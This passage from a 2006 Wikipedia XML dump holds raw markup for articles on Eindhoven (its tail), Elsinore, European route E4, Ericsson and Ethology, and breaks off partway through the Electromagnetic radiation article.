*[[Tilburg]] - [[Breda (Netherlands)|Breda]] - [[Dordrecht]] - [[Rotterdam]] - [[Delft]] - [[Den Haag]] (1900, 2500, 5200) [http://www.ns.nl/www.ns.nl/pdf/vertrekstaten/ehv4.pdf]
*[['s Hertogenbosch]] - [[Utrecht (city)|Utrecht]] - [[Amsterdam]] (800, 900, 3500, 9600) [http://www.ns.nl/www.ns.nl/pdf/vertrekstaten/ehv2.pdf]
*[[Helmond]] - [[Venlo]] (1900, 5200, 6500) [http://www.ns.nl/www.ns.nl/pdf/vertrekstaten/ehv1.pdf]
*[[Weert]] - [[Roermond]] - [[Sittard]] - [[Maastricht]]/[[Heerlen]] (800, 2500, 6400) [http://www.ns.nl/www.ns.nl/pdf/vertrekstaten/ehv3.pdf]

The numbers in parentheses are the number series, see [[Train routes in the Netherlands]]; the links refer to departure schedules.  Up until [[World War II]], a train service connected Amsterdam to [[Liège (city)|Liège]] via Eindhoven and [[Valkenswaard]], but the service was discontinued and the line broken up.  Recently, talks have resumed to have a service to [[Neerpelt]], [[Belgium]] via [[Weert]]. 

The A2 national highway from [[Amsterdam]] to [[Maastricht]] passes Eindhoven to the west and south of the city. The A2 connects here with the A58 to [[Tilburg]] and [[Breda (Netherlands)|Breda]] and to the A67/E34 to [[Antwerp]].  In 2004, the A50 was completed connecting Eindhoven to [[Nijmegen]] and [[Zwolle]].

=== Born in Eindhoven ===
* [[Frits Philips]] (April 26, 1905), businessman († 2005)
* [[Hugo Brandt Corstius]] (August 29, 1935), writer
* [[Peter Koelewijn]] (December 29, 1940), musician
* [[Jan de Bont]] (October 22, 1943), film director
* [[Jan Borren]] (September 27, 1947), New Zealand field hockey player and coach
* [[Lenny Kuhr]] (February 22, 1950), singer
* [[Paul Haarhuis]] (February 19, 1966), tennis player
* [[Rik Smits]] (August 23, 1966), basketball player
* [[Patrick Lodewijks]] (February 21, 1967), soccer player
* [[Philip Cocu]] (October 29, 1970), soccer player
* [[Christijan Albers]] (April 16, 1979), racing driver
* [[Klaas-Erik Zwering]] (May 19, 1981), swimmer
* [[Lonneke Engel]] (June 14, 1981), (fashion) model
* [[Rob Reckers]] (August 29, 1981), field hockey player
* [[Kelum]] (October 24, 1984), (fashion) model

=== See also ===
*[[PSV Eindhoven]]
*[[FC Eindhoven]]
*[[Eindhoven Airport]]

== External links ==
{{Commons|Eindhoven}}
* [http://www.eindhoven.nl The city of Eindhoven on the Internet]
* [http://www.gemeenteeindhoven.com InternetGemeentegids Eindhoven over 1450 links]
* [http://www.vanabbe.nl The Van Abbe Museum of Modern Art]
* [http://w3.tue.nl Eindhoven University of Technology]
* [http://Eindhoven-eertijds.tk Eindhoven-eertijds.tk]
{{Province North Brabant}}
[[Category:North Brabant]]
[[Category:Cities in the Netherlands]]
[[da:Eindhoven]]
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[[fr:Eindhoven]]
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[[fi:Eindhoven]]
[[sv:Eindhoven]]
[[tr:Eindhoven]]</text>
    </revision>
  </page>
  <page>
    <title>Elsinore</title>
    <id>9421</id>
    <revision>
      <id>41541078</id>
      <timestamp>2006-02-28T01:09:35Z</timestamp>
      <contributor>
        <username>Ellsworth</username>
        <id>63086</id>
      </contributor>
      <minor />
      <comment>byp redir Kronborg Castle</comment>
      <text xml:space="preserve">[[Image:Helsingor Kronborg.jpg|thumb|350px|Kronborg castle]]
'''Elsinore''', also known by its [[Danish language|Danish]] name '''Helsingør''' {{IPA|[hɛlseˈŋøɔ̯ˀ]}}, is a city in [[Helsingør municipality]] on the northeast coast of the island of [[Zealand]] (''Sjælland'') in eastern [[Denmark]].  It is known internationally as the setting of [[William Shakespeare]]'s ''[[Hamlet]]''.

The name is derived from *''Hals'' meaning &quot;narrow strait&quot; and it referred to the narrow passage between what is now Elsinore and [[Helsingborg]]. The ''Rerum Danicarum Historica'' (1631) claims that the history of Elsinore can be traced back to 70 BC, but this information is highly dubious. The people were mentioned, as ''Helsinger'', for the first time in [[Valdemar II of Denmark|King Valdemar the Victorious]]'s book from 1231, but they should not be confused with the Helsings of [[Hälsingland]] in [[Sweden]]. Prior to the Middle Ages it was just a marketplace where people sold goods, including women. About 1200 AD the first church, Sct Olai Church, was built. A number of convents once surrounded the church, but now all that remains is the church building, today the cathedral of the Diocese of Elsinore.

Elsinore as we know it today was founded in the 1420s by the Danish king [[Eric of Pomerania]]. He established the [[Sound Toll]] in 1429 and built the castle 'Krogen', which was made bigger in the 1580s and named Kronborg. The oldest parts of the cathedral of Elsinore date back to the 1200s and tell us that the fishermen's village, as Elsinore was then, was a town of a certain importance. At least, there have always been some form of ferryboats crossing between Elsinore and Helsingborg. 

[[Kronborg Castle]] is a main tourist attraction. ''Hamlet'' has been performed a number of times in its courtyard. 

The [[Sweden|Swedish]] city of [[Helsingborg]] lies a short distance across the [[Oresund|Øresund]] from Elsinore. [[European route E55]] traverses the two cities; [[ferry|ferries]] connect the two ends.

==See also==
* [[Tourism in Denmark]]
* [[Lake Elsinore, California]] is named for a local lake that was named after the Danish city in honor of Shakespeare's Hamlet.

==External links==
* [http://www.visithelsingor.dk Helsingør Tourist Bureau website]
* [http://www.helsingor.dk/ Helsingør municipality's official website (in Danish only)]
* [http://drokov.narod.ru/photos/helsinghor200505/index.htm Photos]

[[Category:Cities and towns in Denmark]]

[[cs:Helsingør]]
[[da:Helsingør]]
[[de:Helsingør]]
[[es:Elsinor]]
[[fr:Elseneur]]
[[it:Helsingør]]
[[no:Helsingør]]
[[pl:Helsingør]]
[[pt:Helsingor]]
[[fi:Helsingør]]
[[sv:Helsingør]]</text>
    </revision>
  </page>
  <page>
    <title>European route E4</title>
    <id>9422</id>
    <revision>
      <id>37776824</id>
      <timestamp>2006-02-02T02:12:27Z</timestamp>
      <contributor>
        <username>Litany</username>
        <id>621174</id>
      </contributor>
      <minor />
      <comment>All &quot;cities&quot; with over 20 000 inhabitants should be added to the list</comment>
      <text xml:space="preserve">{{European route number sign|4}}
'''European route E4''' passes through [[Finland]] and [[Sweden]]. It begins in [[Tornio]] in northern Finland, then goes south along the [[Gulf of Bothnia]] to [[Gävle]], then on a more inland route southwards. It ends between [[Helsingborg]] in Sweden, and [[Elsinore]] in Denmark. In the new system of [[European route]]s, it should have been a part of [[European route E55|E55]], but it remains in the pre-1992 designation (E4) within Sweden, because the expenses connected with re-signing this extremely long road portion would be too large. South of the city of Uppsala, E4 is almost a continuous motorway.

While in Sweden, this route passes through or nearby the cities&lt;br /&gt;
[[Haparanda]],
[[Luleå]],
[[Skellefteå]],
[[Umeå]],
[[Örnsköldsvik]],
[[Härnösand]],
[[Sundsvall]],
[[Hudiksvall]],
[[Söderhamn]],
[[Gävle]],
[[Uppsala]],
[[Märsta]],
[[Stockholm]],
[[Nyköping]],
[[Norrköping]],
[[Linköping]],
[[Jönköping]],
[[Ljungby]],
[[Helsingborg]].

[[Category:International E-road network|04]]
[[Category:Roads in Sweden|European route E04]]
[[Category:Roads in Finland|European route E04]]

[[da:E4]]
[[fr:E04]]
[[sv:E4]]
[[fi:E4]]</text>
    </revision>
  </page>
  <page>
    <title>European routes</title>
    <id>9423</id>
    <revision>
      <id>15907315</id>
      <timestamp>2005-04-17T00:31:05Z</timestamp>
      <contributor>
        <username>SPUI</username>
        <id>113059</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[international E-road network]]</text>
    </revision>
  </page>
  <page>
    <title>Ericsson</title>
    <id>9424</id>
    <revision>
      <id>41563085</id>
      <timestamp>2006-02-28T04:16:51Z</timestamp>
      <contributor>
        <ip>68.19.205.238</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = Ericsson |
  company_logo   = [[Image:Ericsson-Logo.svg|200px]] |
  company_type   = [[Public company|Public]]&lt;br/&gt;{{nasdaq|ERICY}}|
  company_slogan = Taking You Forward |
  foundation     = [[Stockholm, Sweden]] ([[1876]]) |
  location       = [[Stockholm]],[[Sweden]] |
  key_people     = [[Michael Treschow]], Chairman&lt;br /&gt;[[Carl-Henric Svanberg]], President and CEO |
  num_employees  = 56,055 ([[2006]]) |
  industry       = [[Telecommunications]] |
  products       = see [http://www.ericsson.com/solutions/] |
  revenue        = [[image:green up.png]] $54.8 billion [[SEK]] ([[2006]]) |
  homepage       = [http://www.ericsson.com/ www.ericsson.com]
}}

'''Ericsson''' (''Telefonaktiebolaget L. M. Ericsson'') {{nasdaq|ERICY}} is a [[Sweden|Swedish]] [[telecommunication]]s equipment manufacturer, founded in [[1876]] as a [[Telegraphy|telegraph]] equipment repair shop by [[Lars Magnus Ericsson]].  In the early [[20th century]], Ericsson dominated the world market for manual [[telephone exchange]]s but was late to introduce automatic equipment.  The world's largest ever manual telephone exchange, serving 60,000 lines, was installed by Ericsson in [[Moscow]] in [[1916]].  In the [[1990s]], Ericsson held a 35-40 percent market share of installed [[cellular telephone]] systems.

Headquartered in [[Stockholm]], [[Sweden]], Ericsson is considered to be part of the so-called [[Wireless Valley]].

Like most of the telecommunications equipment industry, Ericsson suffered heavy losses after the telecommunications crash in the early years of the 2000s.  The company had to lay off tens of thousands of staff worldwide in an attempt to staunch the losses.

[[As of 2004]], Ericsson is making an operational profit again. The loss making handsets division was divested into a joint venture with [[Sony]], called [[Sony Ericsson]]. Ericsson now concentrates on its core systems:  supplying infrastructure for all major wireless technologies and modernizing existing copper lines for broadband services.  In addition, it has one of the largest services divisions in the telecom industry and is steadily growing in new areas such as managed services.

==History==
===Beginnings===
Lars Magnus Ericsson's mechanical repair shop was started together with his friend Carl Johan Andersson. The company was situated at Drottninggatan 15, central [[Stockholm]]. In [[1878]] Ericsson was given the task to modify some [[telephone]]s from the [[Bell Labs | Bell company]] by the local importer Numa Peterson. This inspired him to buy a number of [[Siemens AG|Siemens]] telephones and analyze the telephone equipment further. (It should be noted that Ericsson had been studying at Siemens during a scholarship trip a few years back.) At the end of the year he started to manufacture telephones of his own, much in the image of the Siemens telephones, and the first product was finished in [[1879]].

As the telephone network in [[Stockholm]] was expanding rapidly at the time, the company reformed itself into a telephone manufacturing company. However, when the Bell company bought the biggest telephone network in Stockholm, they would only allow its own telephones to be used with it. Because of this, Ericsson was mainly selling their equipment to free telephone associations in the Swedish countryside and in the other Nordic countries.

The high prices of Bell equipment and phone services led [[Henrik Tore Cedergren]] to form an independent telephone company in [[1883]] under the name ''Stockholms Allmänna Telefonaktiebolag''. As Bell would not deliver equipment to competitors, he formed a pact with Ericsson, who supplied the equipment for his new telephone network. In [[1918]] the companies merged into ''Allmänna Telefonaktiebolaget LM Ericsson''.

In [[1884]] a multiple switchboard manual [[telephone exchange]] was more or less copied from a design by C. E. Scribner at [[Western Electric]]. As the device (which held US patent 529421 since [[1879]]) was not patented in Sweden, this was perfectly legal. A single switchboard could handle up to 10,000 lines. The following year, LM Ericsson and Cedergren traveled the USA, visiting several telephone exchange stations to gather &quot;inspiration&quot;.

In 1887, a technician named Anton Avén at Stockholms Allmänna Telefonaktiebolag had combined the earpiece and the mouthpiece of a (by then) standard telephone into a handset. It was used by operators in the exchanges that needed to have one hand free when talking to their customers. This invention was picked up by LM Ericsson and incorporated into Ericsson products, beginning with a telephone named ''[[Dachshund|The Dachshund]]''.

=== Share ownership ===

In [[1925]] Karl Fredric Wincrantz took control of the company by acquiring the majority of the shares in the company. The company was also renamed ''Telefon AB LM Ericsson''. At this time, [[Ivar Kreuger]] started showing interest in the company, being a major owner of Wincrantz holding companies.

In [[1928]] Ericsson began its long tradition of &quot;A&quot; and &quot;B&quot; shares, where an &quot;A&quot; share comes with 1000 votes against a &quot;B&quot; share, so Wincrantz was actually only controlling a few &quot;A&quot; shares, giving him control of the company whilst not actually controlling a majority of the shares. By issuing a lot of &quot;B&quot; shares, much more money was fed to the company, while maintaining the ''status quo'' of power distribution.

In [[1930]] a second issue of &quot;B&quot;-shares took place, resulting in Kreuger taking over the company with a mixture of &quot;A&quot; and &quot;B&quot; shares. He bought these shares with money lent from Ericsson, with [[collateral (finance)|security]] given in German state [[bond]]s. He then took a large loan for his own company [[Kreuger &amp; Toll]] from [[ITT]] (administered by [[Sosthenes Behn]]) giving large parts of Ericsson as security. When Behn wanted to cancel this deal in [[1932]], he discovered the fact that there was no money left in the company, just a large claim on the same Kreuger &amp; Toll that he had himself lent money to. Kreuger had effectively bought Ericsson with its own money. After Kreuger's suicide in [[1932]], ITT owned one third of Ericsson, but was forbidden to exercise this ownership because of a paragraph in the articles of association stating that no foreign investor was allowed to control more than 20% of the votes.

While Ericsson came close to filing for [[bankruptcy]] in [[1932]], this did not happen. Instead [[Marcus Wallenberg]] (jr) negotiated a deal with several Swedish banks to rebuild Ericsson financially. One of them, [[Stockholms Enskilda Bank]], together with other Swedish investment banks controlled by the [[Wallenberg family]], then gradually increased its possession of Ericsson &quot;A&quot; shares, with ITT still being the single largest owner. In [[1960]] the Wallenberg family finally struck a deal with ITT to buy their shares in Ericsson and the company has since then been controlled by the Wallenberg family, i.e. a part of the &quot;[[Wallenberg sphere]]&quot;.

=== Purchase of the Marconi brand and assets ===
In October 2005, Ericsson purchased the bulk of the business of the troubled British telecoms manufacturer [[Marconi Corporation plc|Marconi]], including the Marconi brand name, which dates back to the creation of the original [[Marconi Company]] by the &quot;father of radio&quot; [[Guglielmo Marconi]].

==Corporate governance==
Current members of the [[board of directors]] of Ericsson are: [[Monica Bergström]], [[Peter Bonfield]], [[Anna Guldstrand]], [[Jan Hedlund]], [[Ulf Johansson]], [[Per Lindh]], [[Sverker Martin-Löf]], [[Arne Löfving]], [[Arne Mårtensson]], [[Nancy McKinstry]], [[Torbjörn Nyman]], [[Eckhard Pfeiffer]], [[Carl-Henric Svanberg]], [[Michael Treschow]] and [[Marcus Wallenberg]].

==Notable products==
*[[AXE telephone exchange|AXE]] [[telephone exchange]]
*[[MD110 PBX|MD110 IP-PBX -]] [[Enterprise communication equipment]]
*[[Ericofon]] handset
*[[Mini-Link]] microwave radio

== Further reading ==
* John Meurling &amp; Richard Jeans (1994) ''A switch in time: AXE &amp;mdash; creating a foundation for the information age''. London: Communications Week International. ISBN 0-9524031-1-0.
* John Meurling &amp; Richard Jeans (1997). ''The ugly duckling''. Stockholm: Ericsson Mobile Communications. ISBN 91-630-5452-3.
* John Meurling &amp; Richard Jeans (2000). ''The Ericsson Chronicle: 125 years in telecommunications''. Stockholm: Informationsförlaget. ISBN 91-7736-464-3.
* ''The Mobile Phone Book: The Invention of the Mobile Telephone Industry''. ISBN 09-5240-310-2

==See also== 
*[[Investor AB]]
*[[Sony Ericsson]], [[List of Sony Ericsson products]] and [[List of Ericsson products]]
*[[Ericsson Mobile Platform]]

== External links ==
*[http://www.ericsson.com/ Ericsson] - Official site
*[http://www.sonyericsson.com/ Sony Ericsson] - Official site
*[http://biz.yahoo.com/ic/41/41776.html Yahoo! - Telefonaktiebolaget LM Ericsson Company Profile]

[[Category:Electronics companies]]
[[Category:Networking companies]]
[[Category:Telecommunications equipment vendors]]
[[Category:Companies of Sweden]]
[[Category:Wallenberg Sphere]]
[[Category:1876 establishments]]

[[de:Ericsson]]
[[es:Ericsson]]
[[fr:Ericsson]]
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[[no:Ericsson]]
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[[sv:Ericsson]]
[[tr:Ericsson]]
[[zh:愛立信]]</text>
    </revision>
  </page>
  <page>
    <title>Ethology</title>
    <id>9425</id>
    <revision>
      <id>41897163</id>
      <timestamp>2006-03-02T13:19:52Z</timestamp>
      <contributor>
        <username>Kanzure</username>
        <id>95883</id>
      </contributor>
      <minor />
      <comment>/* See also */ -&gt; Changed the apparently oudated link to publications to a more appropriate link. There are no listed publications in ethology on the page, however.</comment>
      <text xml:space="preserve">'''Ethology''' is the scientific study of [[animal]] [[behavior]] considered as a branch of [[zoology]]. A [[scientist]] who practices ethology is called an '''ethologist'''.

== Origins of the name ==

The term &amp;#8220;ethology&amp;#8221; derives from the [[Greek language|Greek]] language, as [[ethos]] (''&amp;#942;&amp;#952;&amp;#959;&amp;#962;'') is the [[Greek language|Greek]] word for &quot;[[custom]]&quot;. Other words that derive from the [[Greek language|Greek]] word &quot;ethos&quot; are: &quot;ethics&quot; and &quot;ethical.&quot; The term was first popularised in English by the American [[Myrmecologist]] [[William Morton Wheeler]] in [[1902]].  An earlier, slightly different sense of the term was proposed by [[John Stuart Mill]] in his [[1843]] &lt;cite&gt;System of Logic&lt;/cite&gt;.  He recommended the development of a new science, &quot;ethology,&quot; whose purpose would be the explanation of individual and national differences in character, on the basis of [[associationism|associationistic]] [[psychology]].  This use of the word was never adopted, however.

== Differences and similarities with comparative psychology ==

Ethology can be contrasted with [[comparative psychology]], which also studies animal behaviour, but construes its study as a branch of [[psychology]]. Thus where comparative psychology sees the study of animal behaviour in the context of what is known about human psychology, ethology sees the study of animal behaviour in the context of what is known about animal [[anatomy]] and [[physiology]].  Furthermore, early comparative psychologists concentrated on the study of learning, and thus tended to look at behaviour in artificial situations, whereas early ethologists concentrated on behaviour in natural situations, tending to describe it as instinctive.  The two approaches are complementary rather than competitive, but they do lead to different perspectives and sometimes to conflicts of opinion about matters of substance.   In addition, for most of the [[twentieth century]] comparative psychology developed most strongly in [[North America]], while ethology was stronger in [[Europe]], and this led to different emphases as well as somewhat different philosophical underpinnings in the two disciplines.  A practical difference is that comparative psychologists concentrated on gaining extensive knowledge of the behaviour of very few [[species]], while ethologists were more interested in gaining knowledge of behaviour in a wide range of species, not least in order to be able to make principled comparisons across [[taxonomy|taxonomic]] groups.  Ethologists have made much more use of a truly [[comparative method]] than comparative psychologists ever have.

== Darwinism and the beginnings of ethology ==

Because ethology is understood as a branch of [[biology]], ethologists have been particularly concerned with the [[evolution]] of behaviour and the understanding of behaviour in terms of the theory of [[natural selection]].  In one sense the first modern ethologist was [[Charles Darwin]], whose book &lt;cite&gt;The expression of the emotions in animals and men&lt;/cite&gt; influenced many ethologists.  However, he pursued his interest in behaviour by encouraging his protégé [[George Romanes]], who investigated animal learning and intelligence using an anthropomorphic method that did not gain scientific support.  The early ethologists, such as [[Oskar Heinroth]] and [[Julian Huxley]] instead concentrated on behaviours that can be called [[instinct]]ive, or natural, in that they occur in all members of a [[species]] under specified circumstances.  Their first step in studying the behaviour of a new species was to construct an '''ethogram''', a description of the main types of natural behaviour with their frequencies of occurrence.  This approach provided an objective, cumulative base of data about behaviour, which subsequent researchers could check and build on, and as a way of building a science of behaviour, it proved much more fruitful.

== The fixed action pattern and animal communication ==

An important step, associated with the name of [[Konrad Lorenz]] though probably due more to his teacher, Heinroth, was the identification of [[fixed action pattern]]s (FAPs). Lorenz popularized FAPs as instinctive responses that would occur reliably in the presence of identifiable stimuli (called '''sign stimuli''' or '''releasing stimuli''').  These FAPs could then be compared across species, and the similarities and differences between behaviour compared with the similarities and differences in [[morphology (biology)]] on which taxonomy was based.  An important and much quoted study of the [[Anatidae]] (ducks and geese) by Heinroth used this technique.  The ethologists noted that the stimuli that released FAPs were commonly features of the appearance or behaviour of other members of their own species, and they were able to show how important forms of [[animal communication]] could be mediated by a few simple FAPs.  The most sophisticated investigation of this kind was the study by [[Karl von Frisch]] of the so-called &amp;#8220;dance language&amp;#8221; underlying [[bee learning and communication|bee communication]].  Lorenz developed an interesting theory of the evolution of animal communication based on his observations of the nature of fixed action patterns and the circumstances in which animals emit them.

== Imprinting ==

A second important finding of Lorenz concerned the early learning of young [[nidifugous]] birds, a process he called [[imprinting (psychology)|imprinting]].  Lorenz observed that the young of birds such as [[goose|geese]] and [[chicken]]s spontaneously followed their mothers from almost the first day after they were hatched, and he discovered that this following response could be transferred to an arbitrary stimulus if the eggs were incubated artificially and the stimulus was presented during a '''critical period''' (now called a '''sensitive period''') that covered the few days after hatching.  The concept of imprinting has been widely adopted in [[developmental psychology]].

== Tinbergen's four questions for ethologists ==

Lorenz&amp;#8217;s collaborator, [[Niko Tinbergen]], argued that ethology always needed to pay attention to four kinds of explanation of any instance of behaviour:

* Function: how does the behaviour impact on the animal&amp;#8217;s chances of survival and reproduction?
* Causation: what are the stimuli that elicit the response, and how has it been modified by recent learning?
* Development: how does the behaviour change with age, and what early experiences are necessary for the behaviour to be shown?
* Evolutionary history: how does the behaviour compare with similar behaviour in related species, and how might it have arisen through the process of [[phylogeny]]?

== The flowering of ethology ==

Through the work of Lorenz and Tinbergen, ethology developed strongly in continental Europe in the years before [[World War II]].  After the war, Tinbergen moved to the [[University of Oxford]], and ethology became stronger in the [[United Kingdom|UK]], with the additional influence of William Thorpe, [[Robert Hinde]] and [[Patrick Bateson]] at the Sub-department of Animal Behaviour of the [[University of Cambridge]], located in the village of [[Madingley]].  In this period, too, ethology began to develop strongly in [[North America]].

Lorenz, Tinbergen, and von Frisch were jointly awarded the [[Nobel Prize]] in [[1973]] for their work in developing ethology.

== Social ethology and recent developments ==

In [[1970]], the [[England|English]] ethologist [[John H. Crook]] published an important paper in which he distinguished '''comparative ethology''' from '''social ethology''', and argued that much of the ethology that had existed so far was really comparative ethology, looking at animals as individuals, whereas in the future, ethologists would need to concentrate on the behaviour of social groups of animals and the social structure within them.  This was prescient.  [[E. O. Wilson]]&amp;#8217;s book &amp;#8216;&amp;#8217;[[Sociobiology]]&amp;#8217;&amp;#8217; appeared in [[1975]], and since that time the study of behaviour has been much more concerned with social aspects.  It has also been driven by the stronger, but more sophisticated, Darwinism associated with Wilson and [[Richard Dawkins]].  The related development of [[behavioral ecology]] has also helped transform ethology.  At the same time a substantial rapprochement with comparative psychology has occurred, so the modern scientific study of behaviour offers a more or less seamless spectrum of approaches, from [[animal cognition]], more traditional [[comparative psychology]], ethology, [[sociobiology]] and [[behavioural ecology]].

== Notes ==

* There are often mismatches between human senses and those of the organisms they are observing. To compensate, ethologists often reach all the way back to [[epistemology]] to give them the tools to predict and avoid misinterpretation of data.

== List of ethologists ==

People who have made notable contributions to the field of ethology:
{| width=100%
| valign=top width=33% |
* [[George Barlow]]
* [[Patrick Bateson]]
* [[John Bowlby]]
* [[John H. Crook]]
* [[Charles Darwin]]
* [[Richard Dawkins]]
* [[Iräneus Eibl-Eibesfeldt]]
* [[Dian Fossey]]
* [[Karl von Frisch]]
* [[Jane Goodall]]
| valign=top width=34% |
* [[Oskar Heinroth]]
* [[Robert Hinde]]
* [[Julian Huxley]]
* [[Julian Jaynes]]
* [[Paul Leyhausen]]
* [[Konrad Lorenz]]
* [[Aubrey Manning]]
* [[Desmond Morris]]
* [[Ivan Pavlov]]
| valign=top width=33% |
* [[George Romanes]]
* [[B. F. Skinner]]
* [[Marian Stamp Dawkins]]
* [[William Homan Thorpe]]
* [[Niko Tinbergen]]
* [[Jakob von Uexküll]]
* [[Frans de Waal]]
* [[William Morton Wheeler]]
* [[E. O. Wilson]]
|}

== See also ==

* [[Altruism in animals]]
* [[List of publications in biology#Ethology_.26_Behavior|Important publications in ethology]]

[[Category:Animal behaviour]]
[[Category:Behavioural sciences]]
[[Category:Ethology|*]]
[[Category:Zoology| ethology]]

[[bg:Етология]]
[[ca:Etologia]]
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[[ko:행동 생물학]]
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[[he:אתולוגיה]]
[[lt:Etologija]]
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[[ja:動物行動学]]
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[[tr:Etoloji]]</text>
    </revision>
  </page>
  <page>
    <title>Electromagnetic radiation</title>
    <id>9426</id>
    <revision>
      <id>41749773</id>
      <timestamp>2006-03-01T13:49:13Z</timestamp>
      <contributor>
        <username>Heron</username>
        <id>2954</id>
      </contributor>
      <comment>caption: plane polarised</comment>
      <text xml:space="preserve">[[Image:Light-wave.png|thumb|right|350px|Electromagnetic radiation can be conceptualized as a self propagating transverse oscillating wave of electric and magnetic fields. This diagram shows a plane polarised wave.]]

'''Electromagnetic radiation''' is a propagating [[wave]] in space with [[electricity|electric]] and [[magnetism|magnetic]] components. These components oscillate at right angles to each other and to the direction of propagation.

The term ''electromagnetic radiation'' is also used as a synonym for electromagnetic waves in general, even if they are not radiating or travelling in free space. This sense includes, for example, [[light]] travelling through an [[optical fiber]], or [[radio frequency|electrical energy]] travelling within a [[coaxial cable]].

Electromagnetic (EM) radiation carries [[energy]] and [[momentum]] which may be imparted when it interacts with [[matter]].

== Physics ==
=== Theory ===
'''Electromagnetic waves''' of  much lower frequency than visible light were predicted by [[Maxwell's equations]] and subsequently discovered by [[Heinrich Hertz]]. Maxwell [[Electromagnetic wave equation | derived]] a wave form of the electric and magnetic equations which made explicit the wave nature of the electric and magnetic fields. These equations displayed the symmetry of the fields. 

According to the theory, a time-varying [[electric field]] generates a [[magnetic field]] and vice versa. Thus, an oscillating electric field creates an oscillating magnetic field, which in turn creates an oscillating electric field, and so on. By this means an EM wave is produced which propagates through space.

=== Properties ===
Electric and magnetic fields exhibit the property of superposition. This means that the field due to a particular particle or time-varying electric or magnetic field adds to the fields due to other causes. (As magnetic and electric fields are vector fields, this is the [[vector (spatial)|vector]] addition of all the individual electric and magnetic field vectors.) As a result, EM radiation is influenced by various phenomena such as [[refraction]] and [[diffraction]]. For example, a travelling EM wave incident on a particular arrangement of [[atom]]s induces oscillation in the atoms and thus causes them to emit their own EM waves. These emissions interfere with the impinging wave and alter its form. 

In refraction, a wave moving from one medium to another of a different density changes its speed and direction when it enters the new medium. The ratio of the refractive indices of the media determines the extent of refraction. Refraction is the mechanism by which light disperses into a [[electromagnetic spectrum|spectrum]] when it is shone through a prism.

The [[physics]] of electromagnetic radiation is [[electrodynamics]], a subfield of [[electromagnetism]].

EM radiation exhibits both wave properties and particle properties at the same time (see [[wave-particle duality]]). These characteristics are mutually exclusive and appear separately in different circumstances: the wave characteristics appear when EM radiation is measured over relatively large timescales and over large distances, and the particle characteristics are evident when measuring small distances and timescales. These characteristics have been confirmed by a large number of experiments.

===Wave model===
An important aspect of the wave nature of light is [[frequency]]. The frequency of a wave is its rate of oscillation and is measured in [[hertz]], the [[SI]] unit of frequency, equal to one oscillation per [[second]]. Light usually comprises a spectrum of frequencies which sum to form the resultant wave. In addition, frequency affects properties like [[refraction]], in which different frequencies undergo a different level of refraction.

A wave has troughs and crests.  The [[wavelength]] is the distance from crest to crest.  Waves in the electromagnetic spectrum vary in size from very long radio waves the size of buildings, to very short gamma-rays smaller than the size of the nucleus of an atom. Frequency has an inverse relationship to the concept of wavelength. When waves travel from one medium to another, their frequency remains exactly the same - only their speed changes.  

Waves can also be described by their [[radiant energy]].

[[Interference]] is the superposition of two or more waves resulting in a new wave pattern.    The way that these coincide causes different types of interference.

=== Particle model===
In the particle model of EM radiation, EM radiation is [[quantum|quantized]] as particles called [[photon]]s. Quantisation of light represents the discrete packets of energy which constitute the radiation. The frequency of the radiation determines the magnitude of the energy of the particles. Moreover, these particles are emitted and absorbed by charged particles, so photons act as transporters of [[energy]].

A photon absorbed by an [[atom]] excites an [[electron]] and elevates it to a higher [[energy level]]. If the energy is great enough, so that the electron &quot;jumps&quot; to a high enough energy level, it may escape the positive pull of the nucleus and get liberated from the atom in a process called [[ionization]]. Conversely, an electron which descends to a lower energy level in an atom emits a photon of light equal to the energy difference. 
The energy levels of electrons in atoms are discrete. Therefore, each element has its own characteristic frequencies.

Together these effects explain the absorption spectra of [[light]]. The dark bands in the spectrum are due to the atoms in the intervening medium which absorb different frequencies of the light. The composition of the medium through which the light travels determines the nature of the absorption spectrum. For instance, in a distant star, dark bands in the light it emits are due to the atoms in the atmosphere of the star. These bands correspond to the allowed energy levels in the atoms. A similar phenomenon occurs for emission. As the electrons descend to lower energy levels, a spectrum which represents the jumps between the energy levels of the electrons is exhibited. This is manifested in the emission spectrum of [[nebula]]e. Today, scientists use this phenomenon to observe what elements a certain star is composed of. It is also used in the determination of the distance of a given star, using the so-called [[red shift]]

===Speed of propagation===
Any electric charge which accelerates, or any changing magnetic field, produces electromagnetic radiation. Electromagnetic information about the charge travels at the speed of light. Accurate treatment thus incorporates a concept known as [[retarded time]] (as opposed to advanced time, which is unphysical in light of [[causality]]), which  adds to the expressions for the electrodynamic [[electric field]] and [[magnetic field]]. These extra terms are responsible for electromagnetic radiation. When any wire (or other conducting object such as an [[antenna (electronics)|antenna]]) conducts [[alternating current]], electromagnetic radiation is propagated at the same frequency as the electric current. Depending on the circumstances, it may behave as a [[wave]] or as [[photon|particle]]s.  As a wave, it is characterized by a velocity (the [[speed of light]]), [[wavelength]], and [[frequency]].   When considered as particles, they are known as [[photon]]s, and each has an energy related to the frequency of the wave given by [[Max Planck|Planck's]] relation ''E = h&amp;nu;'', where ''E'' is the energy of the photon, ''h'' = 6.626 &amp;times; 10&lt;sup&gt;-34&lt;/sup&gt; J·s is [[Planck's constant]], and ''&amp;nu;'' is the frequency of the wave.

One rule is always obeyed regardless of the circumstances. EM radiation in a vacuum always travels at the [[speed of light]], ''relative to the observer'', regardless of the observer's velocity. (This observation led to [[Albert Einstein]]'s development of the theory of [[special relativity]].)

In a medium (other than vacuum), [[velocity of propagation]] or [[refractive index]] are considered, depending on frequency and application.  Both of these are ratios of the speed in a medium to speed in a vacuum.

== Electromagnetic spectrum ==
{{main|electromagnetic spectrum}}

[[Image:spectrum.png|right|frame|'''Legend:'''&lt;br /&gt;
&amp;gamma; = [[Gamma ray]]s&lt;br /&gt;
HX = Hard [[X-ray]]s&lt;br /&gt;
SX = Soft X-Rays&lt;br /&gt;
EUV = Extreme [[ultraviolet]]&lt;br /&gt;
NUV = Near ultraviolet&lt;br /&gt;
[[Visible light]]&lt;br /&gt;
NIR = Near [[infrared]]&lt;br /&gt;
MIR = Moderate infrared&lt;br /&gt;
FIR = Far infrared&lt;br /&gt;
&lt;br /&gt;
'''[[Radio waves]]:'''&lt;br /&gt;
EHF = [[Extremely high frequency]] (Microwaves)&lt;br /&gt;
SHF = [[Super high frequency]] (Microwaves)&lt;br /&gt;
UHF = [[Ultrahigh frequency]]&lt;br /&gt;
VHF = [[Very high frequency]]&lt;br /&gt;
HF = [[High frequency]]&lt;br /&gt;
MF = [[Medium frequency]]&lt;br /&gt;
LF = [[Low frequency]]&lt;br /&gt;
